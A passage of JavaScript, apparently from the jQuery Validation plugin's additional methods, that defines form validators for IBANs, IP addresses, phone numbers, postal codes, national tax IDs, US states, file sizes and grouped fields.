 * @name $.validator.methods.dateITA
 * @type Boolean
 * @cat Plugins/Validate/Methods
 */
$.validator.addMethod( "dateITA", function( value, element ) {
	var check = false,
		re = /^\d{1,2}\/\d{1,2}\/\d{4}$/,
		adata, gg, mm, aaaa, xdata;
	if ( re.test( value ) ) {
		adata = value.split( "/" );
		gg = parseInt( adata[ 0 ], 10 );
		mm = parseInt( adata[ 1 ], 10 );
		aaaa = parseInt( adata[ 2 ], 10 );
		xdata = new Date( Date.UTC( aaaa, mm - 1, gg, 12, 0, 0, 0 ) );
		if ( ( xdata.getUTCFullYear() === aaaa ) && ( xdata.getUTCMonth() === mm - 1 ) && ( xdata.getUTCDate() === gg ) ) {
			check = true;
		} else {
			check = false;
		}
	} else {
		check = false;
	}
	return this.optional( element ) || check;
}, $.validator.messages.date );

$.validator.addMethod( "dateNL", function( value, element ) {
	return this.optional( element ) || /^(0?[1-9]|[12]\d|3[01])[\.\/\-](0?[1-9]|1[012])[\.\/\-]([12]\d)?(\d\d)$/.test( value );
}, $.validator.messages.date );

// Older "accept" file extension method. Old docs: http://docs.jquery.com/Plugins/Validation/Methods/accept
$.validator.addMethod( "extension", function( value, element, param ) {
	param = typeof param === "string" ? param.replace( /,/g, "|" ) : "png|jpe?g|gif";
	return this.optional( element ) || value.match( new RegExp( "\\.(" + param + ")$", "i" ) );
}, $.validator.format( "Please enter a value with a valid extension." ) );

/**
 * Dutch giro account numbers (not bank numbers) have max 7 digits
 */
$.validator.addMethod( "giroaccountNL", function( value, element ) {
	return this.optional( element ) || /^[0-9]{1,7}$/.test( value );
}, "Please specify a valid giro account number." );

$.validator.addMethod( "greaterThan", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-greaterThan-blur" ).length ) {
        target.addClass( "validate-greaterThan-blur" ).on( "blur.validate-greaterThan", function() {
            $( element ).valid();
        } );
    }

    return value > target.val();
}, "Please enter a greater value." );

$.validator.addMethod( "greaterThanEqual", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-greaterThanEqual-blur" ).length ) {
        target.addClass( "validate-greaterThanEqual-blur" ).on( "blur.validate-greaterThanEqual", function() {
            $( element ).valid();
        } );
    }

    return value >= target.val();
}, "Please enter a greater value." );

/**
 * IBAN is the international bank account number.
 * It has a country - specific format, that is checked here too
 *
 * Validation is case-insensitive. Please make sure to normalize input yourself.
 */
$.validator.addMethod( "iban", function( value, element ) {

	// Some quick simple tests to prevent needless work
	if ( this.optional( element ) ) {
		return true;
	}

	// Remove spaces and to upper case
	var iban = value.replace( / /g, "" ).toUpperCase(),
		ibancheckdigits = "",
		leadingZeroes = true,
		cRest = "",
		cOperator = "",
		countrycode, ibancheck, charAt, cChar, bbanpattern, bbancountrypatterns, ibanregexp, i, p;

	// Check for IBAN code length.
	// It contains:
	// country code ISO 3166-1 - two letters,
	// two check digits,
	// Basic Bank Account Number (BBAN) - up to 30 chars
	var minimalIBANlength = 5;
	if ( iban.length < minimalIBANlength ) {
		return false;
	}

	// Check the country code and find the country specific format
	countrycode = iban.substring( 0, 2 );
	bbancountrypatterns = {
		"AL": "\\d{8}[\\dA-Z]{16}",
		"AD": "\\d{8}[\\dA-Z]{12}",
		"AT": "\\d{16}",
		"AZ": "[\\dA-Z]{4}\\d{20}",
		"BE": "\\d{12}",
		"BH": "[A-Z]{4}[\\dA-Z]{14}",
		"BA": "\\d{16}",
		"BR": "\\d{23}[A-Z][\\dA-Z]",
		"BG": "[A-Z]{4}\\d{6}[\\dA-Z]{8}",
		"CR": "\\d{17}",
		"HR": "\\d{17}",
		"CY": "\\d{8}[\\dA-Z]{16}",
		"CZ": "\\d{20}",
		"DK": "\\d{14}",
		"DO": "[A-Z]{4}\\d{20}",
		"EE": "\\d{16}",
		"FO": "\\d{14}",
		"FI": "\\d{14}",
		"FR": "\\d{10}[\\dA-Z]{11}\\d{2}",
		"GE": "[\\dA-Z]{2}\\d{16}",
		"DE": "\\d{18}",
		"GI": "[A-Z]{4}[\\dA-Z]{15}",
		"GR": "\\d{7}[\\dA-Z]{16}",
		"GL": "\\d{14}",
		"GT": "[\\dA-Z]{4}[\\dA-Z]{20}",
		"HU": "\\d{24}",
		"IS": "\\d{22}",
		"IE": "[\\dA-Z]{4}\\d{14}",
		"IL": "\\d{19}",
		"IT": "[A-Z]\\d{10}[\\dA-Z]{12}",
		"KZ": "\\d{3}[\\dA-Z]{13}",
		"KW": "[A-Z]{4}[\\dA-Z]{22}",
		"LV": "[A-Z]{4}[\\dA-Z]{13}",
		"LB": "\\d{4}[\\dA-Z]{20}",
		"LI": "\\d{5}[\\dA-Z]{12}",
		"LT": "\\d{16}",
		"LU": "\\d{3}[\\dA-Z]{13}",
		"MK": "\\d{3}[\\dA-Z]{10}\\d{2}",
		"MT": "[A-Z]{4}\\d{5}[\\dA-Z]{18}",
		"MR": "\\d{23}",
		"MU": "[A-Z]{4}\\d{19}[A-Z]{3}",
		"MC": "\\d{10}[\\dA-Z]{11}\\d{2}",
		"MD": "[\\dA-Z]{2}\\d{18}",
		"ME": "\\d{18}",
		"NL": "[A-Z]{4}\\d{10}",
		"NO": "\\d{11}",
		"PK": "[\\dA-Z]{4}\\d{16}",
		"PS": "[\\dA-Z]{4}\\d{21}",
		"PL": "\\d{24}",
		"PT": "\\d{21}",
		"RO": "[A-Z]{4}[\\dA-Z]{16}",
		"SM": "[A-Z]\\d{10}[\\dA-Z]{12}",
		"SA": "\\d{2}[\\dA-Z]{18}",
		"RS": "\\d{18}",
		"SK": "\\d{20}",
		"SI": "\\d{15}",
		"ES": "\\d{20}",
		"SE": "\\d{20}",
		"CH": "\\d{5}[\\dA-Z]{12}",
		"TN": "\\d{20}",
		"TR": "\\d{5}[\\dA-Z]{17}",
		"AE": "\\d{3}\\d{16}",
		"GB": "[A-Z]{4}\\d{14}",
		"VG": "[\\dA-Z]{4}\\d{16}"
	};

	bbanpattern = bbancountrypatterns[ countrycode ];

	// As new countries will start using IBAN in the
	// future, we only check if the countrycode is known.
	// This prevents false negatives, while almost all
	// false positives introduced by this, will be caught
	// by the checksum validation below anyway.
	// Strict checking should return FALSE for unknown
	// countries.
	if ( typeof bbanpattern !== "undefined" ) {
		ibanregexp = new RegExp( "^[A-Z]{2}\\d{2}" + bbanpattern + "$", "" );
		if ( !( ibanregexp.test( iban ) ) ) {
			return false; // Invalid country specific format
		}
	}

	// Now check the checksum, first convert to digits
	ibancheck = iban.substring( 4, iban.length ) + iban.substring( 0, 4 );
	for ( i = 0; i < ibancheck.length; i++ ) {
		charAt = ibancheck.charAt( i );
		if ( charAt !== "0" ) {
			leadingZeroes = false;
		}
		if ( !leadingZeroes ) {
			ibancheckdigits += "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ".indexOf( charAt );
		}
	}

	// Calculate the result of: ibancheckdigits % 97
	for ( p = 0; p < ibancheckdigits.length; p++ ) {
		cChar = ibancheckdigits.charAt( p );
		cOperator = "" + cRest + "" + cChar;
		cRest = cOperator % 97;
	}
	return cRest === 1;
}, "Please specify a valid IBAN." );

$.validator.addMethod( "integer", function( value, element ) {
	return this.optional( element ) || /^-?\d+$/.test( value );
}, "A positive or negative non-decimal number please." );

$.validator.addMethod( "ipv4", function( value, element ) {
	return this.optional( element ) || /^(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)$/i.test( value );
}, "Please enter a valid IP v4 address." );

$.validator.addMethod( "ipv6", function( value, element ) {
	return this.optional( element ) || /^((([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(([0-9A-Fa-f]{1,4}:){0,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})|(::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){1,7}:))$/i.test( value );
}, "Please enter a valid IP v6 address." );

$.validator.addMethod( "lessThan", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-lessThan-blur" ).length ) {
        target.addClass( "validate-lessThan-blur" ).on( "blur.validate-lessThan", function() {
            $( element ).valid();
        } );
    }

    return value < target.val();
}, "Please enter a lesser value." );

$.validator.addMethod( "lessThanEqual", function( value, element, param ) {
    var target = $( param );

    if ( this.settings.onfocusout && target.not( ".validate-lessThanEqual-blur" ).length ) {
        target.addClass( "validate-lessThanEqual-blur" ).on( "blur.validate-lessThanEqual", function() {
            $( element ).valid();
        } );
    }

    return value <= target.val();
}, "Please enter a lesser value." );

$.validator.addMethod( "lettersonly", function( value, element ) {
	return this.optional( element ) || /^[a-z]+$/i.test( value );
}, "Letters only please." );

$.validator.addMethod( "letterswithbasicpunc", function( value, element ) {
	return this.optional( element ) || /^[a-z\-.,()'"\s]+$/i.test( value );
}, "Letters or punctuation only please." );

// Limit the number of files in a FileList.
$.validator.addMethod( "maxfiles", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}

	if ( $( element ).attr( "type" ) === "file" ) {
		if ( element.files && element.files.length > param ) {
			return false;
		}
	}

	return true;
}, $.validator.format( "Please select no more than {0} files." ) );

// Limit the size of each individual file in a FileList.
$.validator.addMethod( "maxsize", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}

	if ( $( element ).attr( "type" ) === "file" ) {
		if ( element.files && element.files.length ) {
			for ( var i = 0; i < element.files.length; i++ ) {
				if ( element.files[ i ].size > param ) {
					return false;
				}
			}
		}
	}

	return true;
}, $.validator.format( "File size must not exceed {0} bytes each." ) );

// Limit the size of all files in a FileList.
$.validator.addMethod( "maxsizetotal", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}

	if ( $( element ).attr( "type" ) === "file" ) {
		if ( element.files && element.files.length ) {
			var totalSize = 0;

			for ( var i = 0; i < element.files.length; i++ ) {
				totalSize += element.files[ i ].size;
				if ( totalSize > param ) {
					return false;
				}
			}
		}
	}

	return true;
}, $.validator.format( "Total size of all files must not exceed {0} bytes." ) );


$.validator.addMethod( "mobileNL", function( value, element ) {
	return this.optional( element ) || /^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)6((\s|\s?\-\s?)?[0-9]){8}$/.test( value );
}, "Please specify a valid mobile number." );

$.validator.addMethod( "mobileRU", function( phone_number, element ) {
	var ruPhone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || ruPhone_number.length > 9 && /^((\+7|7|8)+([0-9]){10})$/.test( ruPhone_number );
}, "Please specify a valid mobile number." );

/* For UK phone functions, do the following server side processing:
 * Compare original input with this RegEx pattern:
 * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$
 * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0'
 * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2.
 * A number of very detailed GB telephone number RegEx patterns can also be found at:
 * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers
 */
$.validator.addMethod( "mobileUK", function( phone_number, element ) {
	phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?|0)7(?:[1345789]\d{2}|624)\s?\d{3}\s?\d{3})$/ );
}, "Please specify a valid mobile number." );

$.validator.addMethod( "netmask", function( value, element ) {
    return this.optional( element ) || /^(254|252|248|240|224|192|128)\.0\.0\.0|255\.(254|252|248|240|224|192|128|0)\.0\.0|255\.255\.(254|252|248|240|224|192|128|0)\.0|255\.255\.255\.(254|252|248|240|224|192|128|0)/i.test( value );
}, "Please enter a valid netmask." );

/*
 * The NIE (Número de Identificación de Extranjero) is a Spanish tax identification number assigned by the Spanish
 * authorities to any foreigner.
 *
 * The NIE is the equivalent of a Spaniards Número de Identificación Fiscal (NIF) which serves as a fiscal
 * identification number. The CIF number (Certificado de Identificación Fiscal) is equivalent to the NIF, but applies to
 * companies rather than individuals. The NIE consists of an 'X' or 'Y' followed by 7 or 8 digits then another letter.
 */
$.validator.addMethod( "nieES", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	var nieRegEx = new RegExp( /^[MXYZ]{1}[0-9]{7,8}[TRWAGMYFPDXBNJZSQVHLCKET]{1}$/gi );
	var validChars = "TRWAGMYFPDXBNJZSQVHLCKET",
		letter = value.substr( value.length - 1 ).toUpperCase(),
		number;

	value = value.toString().toUpperCase();

	// Quick format test
	if ( value.length > 10 || value.length < 9 || !nieRegEx.test( value ) ) {
		return false;
	}

	// X means same number
	// Y means number + 10000000
	// Z means number + 20000000
	value = value.replace( /^[X]/, "0" )
		.replace( /^[Y]/, "1" )
		.replace( /^[Z]/, "2" );

	number = value.length === 9 ? value.substr( 0, 8 ) : value.substr( 0, 9 );

	return validChars.charAt( parseInt( number, 10 ) % 23 ) === letter;

}, "Please specify a valid NIE number." );

/*
 * The Número de Identificación Fiscal ( NIF ) is the way tax identification used in Spain for individuals
 */
$.validator.addMethod( "nifES", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	value = value.toUpperCase();

	// Basic format test
	if ( !value.match( "((^[A-Z]{1}[0-9]{7}[A-Z0-9]{1}$|^[T]{1}[A-Z0-9]{8}$)|^[0-9]{8}[A-Z]{1}$)" ) ) {
		return false;
	}

	// Test NIF
	if ( /^[0-9]{8}[A-Z]{1}$/.test( value ) ) {
		return ( "TRWAGMYFPDXBNJZSQVHLCKE".charAt( value.substring( 8, 0 ) % 23 ) === value.charAt( 8 ) );
	}

	// Test specials NIF (starts with K, L or M)
	if ( /^[KLM]{1}/.test( value ) ) {
		return ( value[ 8 ] === "TRWAGMYFPDXBNJZSQVHLCKE".charAt( value.substring( 8, 1 ) % 23 ) );
	}

	return false;

}, "Please specify a valid NIF number." );

/*
 * Numer identyfikacji podatkowej ( NIP ) is the way tax identification used in Poland for companies
 */
$.validator.addMethod( "nipPL", function( value ) {
	"use strict";

	value = value.replace( /[^0-9]/g, "" );

	if ( value.length !== 10 ) {
		return false;
	}

	var arrSteps = [ 6, 5, 7, 2, 3, 4, 5, 6, 7 ];
	var intSum = 0;
	for ( var i = 0; i < 9; i++ ) {
		intSum += arrSteps[ i ] * value[ i ];
	}
	var int2 = intSum % 11;
	var intControlNr = ( int2 === 10 ) ? 0 : int2;

	return ( intControlNr === parseInt( value[ 9 ], 10 ) );
}, "Please specify a valid NIP number." );

/**
 * Created for project jquery-validation.
 * @Description Brazillian PIS or NIS number (Número de Identificação Social Pis ou Pasep) is the equivalent of a
 * Brazilian tax registration number NIS of PIS numbers have 11 digits in total: 10 numbers followed by 1 check numbers
 * that are being used for validation.
 * @copyright (c) 21/08/2018 13:14, Cleiton da Silva Mendonça
 * @author Cleiton da Silva Mendonça <cleiton.mendonca@gmail.com>
 * @link http://gitlab.com/csmendonca Gitlab of Cleiton da Silva Mendonça
 * @link http://github.com/csmendonca Github of Cleiton da Silva Mendonça
 */
$.validator.addMethod( "nisBR", function( value ) {
	var number;
	var cn;
	var sum = 0;
	var dv;
	var count;
	var multiplier;

	// Removing special characters from value
	value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" );

	// Checking value to have 11 digits only
	if ( value.length !== 11 ) {
		return false;
	}

	//Get check number of value
	cn = parseInt( value.substring( 10, 11 ), 10 );

	//Get number with 10 digits of the value
	number = parseInt( value.substring( 0, 10 ), 10 );

	for ( count = 2; count < 12; count++ ) {
		multiplier = count;
		if ( count === 10 ) {
			multiplier = 2;
		}
		if ( count === 11 ) {
			multiplier = 3;
		}
		sum += ( ( number % 10 ) * multiplier );
		number = parseInt( number / 10, 10 );
	}
	dv = ( sum % 11 );

	if ( dv > 1 ) {
		dv = ( 11 - dv );
	} else {
		dv = 0;
	}

	if ( cn === dv ) {
		return true;
	} else {
		return false;
	}
}, "Please specify a valid NIS/PIS number." );

$.validator.addMethod( "notEqualTo", function( value, element, param ) {
	return this.optional( element ) || !$.validator.methods.equalTo.call( this, value, element, param );
}, "Please enter a different value, values must not be the same." );

$.validator.addMethod( "nowhitespace", function( value, element ) {
	return this.optional( element ) || /^\S+$/i.test( value );
}, "No white space please." );

/**
* Return true if the field value matches the given format RegExp
*
* @example $.validator.methods.pattern("AR1004",element,/^AR\d{4}$/)
* @result true
*
* @example $.validator.methods.pattern("BR1004",element,/^AR\d{4}$/)
* @result false
*
* @name $.validator.methods.pattern
* @type Boolean
* @cat Plugins/Validate/Methods
*/
$.validator.addMethod( "pattern", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}
	if ( typeof param === "string" ) {
		param = new RegExp( "^(?:" + param + ")$" );
	}
	return param.test( value );
}, "Invalid format." );

/**
 * Dutch phone numbers have 10 digits (or 11 and start with +31).
 */
$.validator.addMethod( "phoneNL", function( value, element ) {
	return this.optional( element ) || /^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)[1-9]((\s|\s?\-\s?)?[0-9]){8}$/.test( value );
}, "Please specify a valid phone number." );

/**
 * Polish telephone numbers have 9 digits.
 *
 * Mobile phone numbers starts with following digits:
 * 45, 50, 51, 53, 57, 60, 66, 69, 72, 73, 78, 79, 88.
 *
 * Fixed-line numbers starts with area codes:
 * 12, 13, 14, 15, 16, 17, 18, 22, 23, 24, 25, 29, 32, 33,
 * 34, 41, 42, 43, 44, 46, 48, 52, 54, 55, 56, 58, 59, 61,
 * 62, 63, 65, 67, 68, 71, 74, 75, 76, 77, 81, 82, 83, 84,
 * 85, 86, 87, 89, 91, 94, 95.
 *
 * Ministry of National Defence numbers and VoIP numbers starts with 26 and 39.
 *
 * Excludes intelligent networks (premium rate, shared cost, free phone numbers).
 *
 * Poland National Numbering Plan http://www.itu.int/oth/T02020000A8/en
 */
$.validator.addMethod( "phonePL", function( phone_number, element ) {
	phone_number = phone_number.replace( /\s+/g, "" );
	var regexp = /^(?:(?:(?:\+|00)?48)|(?:\(\+?48\)))?(?:1[2-8]|2[2-69]|3[2-49]|4[1-68]|5[0-9]|6[0-35-9]|[7-8][1-9]|9[145])\d{7}$/;
	return this.optional( element ) || regexp.test( phone_number );
}, "Please specify a valid phone number." );

/* For UK phone functions, do the following server side processing:
 * Compare original input with this RegEx pattern:
 * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$
 * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0'
 * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2.
 * A number of very detailed GB telephone number RegEx patterns can also be found at:
 * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers
 */

// Matches UK landline + mobile, accepting only 01-3 for landline or 07 for mobile to exclude many premium numbers
$.validator.addMethod( "phonesUK", function( phone_number, element ) {
	phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?|0)(?:1\d{8,9}|[23]\d{9}|7(?:[1345789]\d{8}|624\d{6})))$/ );
}, "Please specify a valid uk phone number." );

/* For UK phone functions, do the following server side processing:
 * Compare original input with this RegEx pattern:
 * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$
 * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0'
 * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2.
 * A number of very detailed GB telephone number RegEx patterns can also be found at:
 * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers
 */
$.validator.addMethod( "phoneUK", function( phone_number, element ) {
	phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?)|(?:\(?0))(?:\d{2}\)?\s?\d{4}\s?\d{4}|\d{3}\)?\s?\d{3}\s?\d{3,4}|\d{4}\)?\s?(?:\d{5}|\d{3}\s?\d{3})|\d{5}\)?\s?\d{4,5})$/ );
}, "Please specify a valid phone number." );

/**
 * Matches US phone number format
 *
 * where the area code may not start with 1 and the prefix may not start with 1
 * allows '-' or ' ' as a separator and allows parens around area code
 * some people may want to put a '1' in front of their number
 *
 * 1(212)-999-2345 or
 * 212 999 2344 or
 * 212-999-0983
 *
 * but not
 * 111-123-5434
 * and not
 * 212 123 4567
 */
$.validator.addMethod( "phoneUS", function( phone_number, element ) {
	phone_number = phone_number.replace( /\s+/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(\+?1-?)?(\([2-9]([02-9]\d|1[02-9])\)|[2-9]([02-9]\d|1[02-9]))-?[2-9]\d{2}-?\d{4}$/ );
}, "Please specify a valid phone number." );

/*
* Valida CEPs do brasileiros:
*
* Formatos aceitos:
* 99999-999
* 99.999-999
* 99999999
*/
$.validator.addMethod( "postalcodeBR", function( cep_value, element ) {
	return this.optional( element ) || /^\d{2}.\d{3}-\d{3}?$|^\d{5}-?\d{3}?$/.test( cep_value );
}, "Informe um CEP válido." );

/**
 * Matches a valid Canadian Postal Code
 *
 * @example jQuery.validator.methods.postalCodeCA( "H0H 0H0", element )
 * @result true
 *
 * @example jQuery.validator.methods.postalCodeCA( "H0H0H0", element )
 * @result false
 *
 * @name jQuery.validator.methods.postalCodeCA
 * @type Boolean
 * @cat Plugins/Validate/Methods
 */
$.validator.addMethod( "postalCodeCA", function( value, element ) {
	return this.optional( element ) || /^[ABCEGHJKLMNPRSTVXY]\d[ABCEGHJKLMNPRSTVWXYZ] *\d[ABCEGHJKLMNPRSTVWXYZ]\d$/i.test( value );
}, "Please specify a valid postal code." );

/* Matches Italian postcode (CAP) */
$.validator.addMethod( "postalcodeIT", function( value, element ) {
	return this.optional( element ) || /^\d{5}$/.test( value );
}, "Please specify a valid postal code." );

$.validator.addMethod( "postalcodeNL", function( value, element ) {
	return this.optional( element ) || /^[1-9][0-9]{3}\s?[a-zA-Z]{2}$/.test( value );
}, "Please specify a valid postal code." );

// Matches UK postcode. Does not match to UK Channel Islands that have their own postcodes (non standard UK)
$.validator.addMethod( "postcodeUK", function( value, element ) {
	return this.optional( element ) || /^((([A-PR-UWYZ][0-9])|([A-PR-UWYZ][0-9][0-9])|([A-PR-UWYZ][A-HK-Y][0-9])|([A-PR-UWYZ][A-HK-Y][0-9][0-9])|([A-PR-UWYZ][0-9][A-HJKSTUW])|([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))\s?([0-9][ABD-HJLNP-UW-Z]{2})|(GIR)\s?(0AA))$/i.test( value );
}, "Please specify a valid UK postcode." );

/*
 * Lets you say "at least X inputs that match selector Y must be filled."
 *
 * The end result is that neither of these inputs:
 *
 *	<input class="productinfo" name="partnumber">
 *	<input class="productinfo" name="description">
 *
 *	...will validate unless at least one of them is filled.
 *
 * partnumber:	{require_from_group: [1,".productinfo"]},
 * description: {require_from_group: [1,".productinfo"]}
 *
 * options[0]: number of fields that must be filled in the group
 * options[1]: CSS selector that defines the group of conditionally required fields
 */
$.validator.addMethod( "require_from_group", function( value, element, options ) {
	var $fields = $( options[ 1 ], element.form ),
		$fieldsFirst = $fields.eq( 0 ),
		validator = $fieldsFirst.data( "valid_req_grp" ) ? $fieldsFirst.data( "valid_req_grp" ) : $.extend( {}, this ),
		isValid = $fields.filter( function() {
			return validator.elementValue( this );
		} ).length >= options[ 0 ];

	// Store the cloned validator for future validation
	$fieldsFirst.data( "valid_req_grp", validator );

	// If element isn't being validated, run each require_from_group field's validation rules
	if ( !$( element ).data( "being_validated" ) ) {
		$fields.data( "being_validated", true );
		$fields.each( function() {
			validator.element( this );
		} );
		$fields.data( "being_validated", false );
	}
	return isValid;
}, $.validator.format( "Please fill at least {0} of these fields." ) );

/*
 * Lets you say "either at least X inputs that match selector Y must be filled,
 * OR they must all be skipped (left blank)."
 *
 * The end result, is that none of these inputs:
 *
 *	<input class="productinfo" name="partnumber">
 *	<input class="productinfo" name="description">
 *	<input class="productinfo" name="color">
 *
 *	...will validate unless either at least two of them are filled,
 *	OR none of them are.
 *
 * partnumber:	{skip_or_fill_minimum: [2,".productinfo"]},
 * description: {skip_or_fill_minimum: [2,".productinfo"]},
 * color:		{skip_or_fill_minimum: [2,".productinfo"]}
 *
 * options[0]: number of fields that must be filled in the group
 * options[1]: CSS selector that defines the group of conditionally required fields
 *
 */
$.validator.addMethod( "skip_or_fill_minimum", function( value, element, options ) {
	var $fields = $( options[ 1 ], element.form ),
		$fieldsFirst = $fields.eq( 0 ),
		validator = $fieldsFirst.data( "valid_skip" ) ? $fieldsFirst.data( "valid_skip" ) : $.extend( {}, this ),
		numberFilled = $fields.filter( function() {
			return validator.elementValue( this );
		} ).length,
		isValid = numberFilled === 0 || numberFilled >= options[ 0 ];

	// Store the cloned validator for future validation
	$fieldsFirst.data( "valid_skip", validator );

	// If element isn't being validated, run each skip_or_fill_minimum field's validation rules
	if ( !$( element ).data( "being_validated" ) ) {
		$fields.data( "being_validated", true );
		$fields.each( function() {
			validator.element( this );
		} );
		$fields.data( "being_validated", false );
	}
	return isValid;
}, $.validator.format( "Please either skip these fields or fill at least {0} of them." ) );

/* Validates US States and/or Territories by @jdforsythe
 * Can be case insensitive or require capitalization - default is case insensitive
 * Can include US Territories or not - default does not
 * Can include US Military postal abbreviations (AA, AE, AP) - default does not
 *
 * Note: "States" always includes DC (District of Colombia)
 *
 * Usage examples:
 *
 *  This is the default - case insensitive, no territories, no military zones
 *  stateInput: {
 *     caseSensitive: false,
 *     includeTerritories: false,
 *     includeMilitary: false
 *  }
 *
 *  Only allow capital letters, no territories, no military zones
 *  stateInput: {
 *     caseSensitive: false
 *  }
 *
 *  Case insensitive, include territories but not military zones
 *  stateInput: {
 *     includeTerritories: true
 *  }
 *
 *  Only allow capital letters, include territories and military zones
 *  stateInput: {
 *     caseSensitive: true,
 *     includeTerritories: true,
 *     includeMilitary: true
 *  }
 *
 */
$.validator.addMethod( "stateUS", function( value, element, options ) {
	var isDefault = typeof options === "undefined",
		caseSensitive = ( isDefault || typeof options.caseSensitive === "undefined" ) ? false : options.caseSensitive,
		includeTerritories = ( isDefault || typeof options.includeTerritories === "undefined" ) ? false : options.includeTerritories,
		includeMilitary = ( isDefault || typeof options.includeMilitary === "undefined" ) ? false : options.includeMilitary,
		regex;

	if ( !includeTerritories && !includeMilitary ) {
		regex = "^(A[KLRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$";
	} else if ( includeTerritories && includeMilitary ) {
		regex = "^(A[AEKLPRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$";
	} else if ( includeTerritories ) {
		regex = "^(A[KLRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$";
	} else {
		regex = "^(A[AEKLPRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$";
	}

	regex = caseSensitive ? new RegExp( regex ) : new RegExp( regex, "i" );
	return this.optional( element ) || regex.test( value );
}, "Please specify a valid state." );

// TODO check if value starts with <, otherwise don't try stripping anything
$.validator.addMethod( "strippedminlength", function( value, element, param ) {
	return $( value ).text().length >= param;
